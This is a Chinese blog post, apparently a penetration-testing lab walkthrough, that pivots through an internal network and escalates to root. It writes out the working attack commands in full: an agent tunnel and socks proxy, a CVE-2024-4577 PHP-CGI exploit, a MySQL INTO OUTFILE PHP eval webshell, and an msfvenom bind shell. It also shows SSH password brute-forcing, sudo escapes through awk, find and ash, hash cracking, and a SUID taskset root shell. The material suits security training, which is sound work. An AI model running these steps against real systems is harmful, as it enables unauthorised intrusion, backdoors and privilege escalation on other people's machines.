渗透测试攻击实战演练02
本文最后更新于471 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

二、内网渗透

(1)主机信息收集

  • ip 地址
ip addr

发现192.168.58.128和192.168.52.10的IP

查看nginx配置文件,发现反向代理 http://192.168.52.20:8080/geoserver

也就是说,我们访问 192.168.58.131:81 端口,实际是访问的内网主机192.168.52.20:8000,以及获得的webshell实际为内网主机192.168.52.20的webshell

(2)主机信息收集脚本

linpeas.sh脚本

  • 给予linpeas.sh执行权限:
chmod +x linpeas.sh
  • 运行脚本:
bash linpeas.sh -a > linux_info.txt

注意:脚本运行需要时间,请耐心等待。

  • 查看linux_info.txt文件

(3)内网信息收集

注意:

Win7的web服务和mysql服务是默认不开启的,需要自己启动

  • 内网存活主机探测
./fscan -h 192.168.52.0/24

  • 存活主机情况如下
IP地址 攻击情况 开放端口
192.168.52.10 可以 ssh 远程连接root 权 限 22、80、81、 6379 ssh、nginx、geoserver、 redis
192.168.52.20 已拿到 webshell,普通用户 权限 22、8080 ssh、geoserver
192.168.52.30 未发起攻击 80、445、3306 xampp、smb、mysql

(4)内网主机 — 52.30

A.信息收集

1.端口探测及服务发现

  • fscan
./fscan -h 192.168.52.30

  • TxPortMap
./TxPortMap -i 192.168.52.30 -p 1-65535

B.内网代理搭建

1.上传 agent

2.攻击机启动 admin 控制节点

3.靶机启动 agent 被控节点

chmod +x agent

./agent -c 192.168.58.129:9999

4.admin 控制节点接收到 agent 节点连接

5.进入node0节点

use 0

6.开启socks代理

socks 1080

此时在 admin 节点(攻击机)的 1080 端口启动了 socks 代理服务

7.代理验证

  • 配置proxychains
vim /etc/proxychains4.conf

socks5 127.0.0.1 1080

  • Proxychains代理浏览器
proxychains firefox

如果出现以上情况,用普通用户执行命令

  • Proxychains代理curl
proxychains curl 192.168.52.30/dashboard/

C.服务分析 — XAMPP 服务

1.访问http://192.168.52.30/,可以发现开启了XMAPP服务

XAMPP 是一个把 Apache 网页服务器与 PHP、Perl 及 MariaDB 集合在一起的安装包,允许用户可以 在自己的电脑上轻易的建立网页服务器。

  • 通过访问 http://192.168.52.30/dashboard/phpinfo.php,可以看到 phpinfo 信息,获得服务器相关信息

信息描述 信息内容
XAMPP安装目录 C:/xampp
网站根目录 C:/xampp/htdocs
PHP版本 PHP/8.1.25

D.漏洞利用—XAMPP

1.查询历史漏洞

发现最近暴出一个 PHP CGI 远程代码执行漏洞 — CVE-2024-4577

  • 漏洞描述

PHP 语言在设计时忽略Windows 作业系统内部对字元编码转换的 Best-Fit 特性,导致未认证的攻击者 可透过特定的字元序列绕过旧有 CVE-2012-1823 的保护;透过参数注入等攻击在远端 PHP 服务器上 执行任意代码。

  • 影响范围

此漏洞 影响安装于 Windows 系统上所有的 PHP版本

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

2.漏洞验证

  • Python

检测漏洞:

proxychains python CVE-2024-4577.py -u http://192.168.52.30 -m poc

利用漏洞:

proxychains python CVE-2024-4577.py -u http://192.168.52.30 -m exp

E.服务分析 — MySQL 服务

使用root/root账户密码登录Mysql

proxychains mysql -h 192.168.52.30 -uroot -proot --skip-ssl

F.漏洞利用 — MySQL 服务

1.登录 MySQL 后,收集相关信息

版本信息:

select @@version;

数据目录:

select @@datadir;

显示包含secure的全局变量:

show global variables like '%secure%';

显示包含plugin的变量:

show variables like 'plugin%';

2.secure_file_priv

mysql 的 secure_file_priv 参数是用来限制使用 LOAD DATA, INTO OUTFILE, LOAD_FILE() 等方式向指定目录读取写入文件。

  • 当 secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出

  • 当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在 /tmp/ 目录下

  • 当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制

3.利用 into outfile 写 Webshell

select "<?php @eval($_POST['cmd'])?>" into outfile "C:/xampp/htdocs/s.php";

4.尝试访问写入的文件,验证是否写入成功

如果是没有任何显示,说明成功写入

5.使用蚁剑连接

  • 蚁剑配置代理

  • 蚁剑连接webshell

  • 成功获得管理员权限

(5)内网主机 — 52.20

A.获得交互式shell

我们之前通过写入内存马的方式成功得到了主机的 Webshell,我们可以通过 Webshell上传 agent。

1.上传 agent,并赋予执行权限

如果上传文件时遇见以下情况:

发现文件上传被限制,可以使用其他方法进行文件上传。

  • NC(netcat):
proxychains nc 192.168.52.20 1234 < agent

nc -lvvp 1234 > agent

  • msf正向shell:

开启msf:

proxychains msfconsole

生成payload:

msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf -o test.elf

上传payload:

给payload赋予执行权限,并执行:

开启监听器:

use exploit/multi/handler

set payload linux/x64/meterpreter/bind_tcp

set rhost 192.168.52.20

set lport 6666

run

成功获得会话

注意:顺序不要搞混,先执行payload,再开启监听器。

上传agent:

upload /tools/agent /home/bob/tools

2.靶机52.10监听端口

因为52.20主机在内网的52网段,可以通过之前的节点1(52.10),进行端口监听,作为中转节点。

注意:只有相同网段可以互相访问。

进入节点0:

use 0

进入监听功能:

listen

选择监听模式:

1

设置监听端口:

8888

3.靶机52.20启动agent节点

主机52.20启动agent节点连接靶机52.10主机节点上监听的8888端口

./agent -c 192.168.52.10:8888

4.admin 管理节点成功接收到建立连接的 agent 节点

5.进入agent的交互shell

进入节点1:

use 1

进入shell:

shell

B.提权信息收集

1.传信息收集脚本linpeas.sh

如果蚁剑上传不了,可以使用节点上传

upload /tools/linpeas.sh /home/bob/tools/linpeas.sh

2.给予执行权限并执行

Chmod +x linpeas.sh

bash linpeas.sh -a > linux_info.txt

3.下载结果文件到本地进行分析

4.分析所有收集到的信息

cat linux_info.txt
  • 基本信息

  • 可能存在的提权漏洞建议

  • 用户信息

  • SUID

  • 用户密码hash

  • 用户可能添加的可执行文件

C.权限提升 — sudo

1.bob用户密码爆破

  • 在52.10主机上使用fscan爆破bob用户ssh弱口令
./fscan -h 192.168.52.20 -m ssh -user bob -pwdf passwd.txt
  • 成功得到bob用户明文密码
bob/secret

2.sudo提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。

  • 查看bob用户通过sudo执行的命令列表

sudo -l:命令允许用户查看他们可以通过 sudo 执行的命令列表以及相关的权限。

-S:是 sudo 命令的选项,其作用是要求 sudo 命令在执行时读取用户输入的密码

echo "secret" | sudo -S -l

  • 发现bob用户可以使用sudo以root权限执行以上的程序

  • 利用sudo权限提权

执行whoami命令:

echo "secret" | sudo -S ash -c whoami

echo "secret" | sudo -S /usr/bin/awk 'BEGIN {system("whoami")}'

echo "secret" | sudo -S find . -exec whoami \; -quit

  • 52.10主机节点监听7777端口
Listen

1

7777

  • Webshell执行命令,利用sudo以root权限在52.20主机上执行agent,并上线节点
echo "secret" | sudo -S ash -c "/home/bob/tools/agent -c 192.168.52.10:7777"

  • 最终获得root权限

D.权限提升 — 密码hash

(1)/etc/passwd

所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分

  1. 用户名

  2. 密码,x表示密码保存在/etc/shadow

  3. UID,0代表root

  4. GID,表示所在组

  5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other

  6. 用户主目录

  7. 默认shell类型

(2)/etc/shadow

只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分 为九个部分:

  1. 用户名

  2. 加密后的密码

  3. 上次修改密码的时间(从1970.1.1开始的总天数)

  4. 两次修改密码间隔的最少天数,如果为0,则没有限制

  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提

  6. 前多少天警告用户密码将过期

  7. 在密码过期之后多少天禁用此用户

  8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用

  9. 保留

(3) 查看/etc/passwd文件,发现存在一个用户的密码hash

cat /etc/passwd

此用户具有root权限,且允许登录console

(4)尝试在线网站破解密码hash

https://cmd5.com/

https://www.somd5.com/

(5)成功获得用户明文密码

insecurity / P@ssw0rd!

(6) 尝试使用用户密码远程登录系统

ssh insecurity@192.168.52.20

成功登录获得root权限

E.权限提升 — SUID

(1) SUID权限说明

  • 启动为进程之后,该进程将‌临时继承文件属主的身份权限

  • 只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义

  • 执行suid权限的程序时,此用户将继承此程序的所有者权限

(2) find命令查找拥有suid权限的文件

find / -perm -u=s -type f 2>/dev/null

(3) taskset执行命令

taskset 1 whoami

taskset 1 ls -la /root

  • taskset打开shell

当 taskset 被配置 ‌SUID/SGID 权限‌(如属主为 root)时,执行该命令会以 root 权限启动 Bash,直接获取 ‌root shell

taskset 1 /bin/bash  -p

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇